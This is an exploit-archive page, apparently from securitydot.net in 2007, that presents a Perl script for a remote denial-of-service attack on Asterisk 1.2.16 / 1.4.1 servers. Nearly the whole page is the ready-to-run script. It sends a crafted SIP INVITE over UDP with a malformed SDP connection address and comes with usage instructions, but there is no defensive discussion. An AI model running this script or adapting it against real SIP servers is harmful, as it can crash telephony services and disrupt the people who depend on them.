exploits , vulnerabilities , articles , Asterisk <= 1.2.16 / 1.4.1 SIP INVITE Remote Denial of Service Exploit

Rated as : Critical

#!/usr/bin/perl
# perl  asterisk-Invite.pl 192.168.1.104 5060 userX  192.168.1.2 5060
userY

use IO::Socket::INET;

die "Usage $0 <dst> <dport> <dusername> <src>
<sport> <susername>" unless ($ARGV[5]);

 

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);


$msg="INVITE sip:$ARGV[2]\@$ARGV[0]:$ARGV[1] SIP/2.0\r\nVia:
SIP/2.0/UDP $ARGV[3]:$ARGV[4];branch=01;rport\r\nTo:
<sip:$ARGV[2]\@$ARGV[0]:$ARGV[1]>\r\nFrom: 
<sip:$ARGV[3]:$ARGV[4]>;tag=01\r\nCall-ID:
01\@$ARGV[3]\r\nContent-Type: application/sdp\r\nCSeq: 01
INVITE\r\nContent-Length: 187\r\n\r\nv=0\r\no=root 25903 25903 IN IP4
$ARGV[3]\r\ns=session\r\nc=IN IP4 $ARGV[3]\r\nc=IN IP4 910.188.8.2\r\nt=0
0\r\nm=audio 13956 RTP/AVP 0 4 3 8 111 5 10 7 18 110 97 101\r\na=rtpmap:98
speex/16000\r\n\r\n";

$socket->send($msg);
securitydot.net - 2007-03-25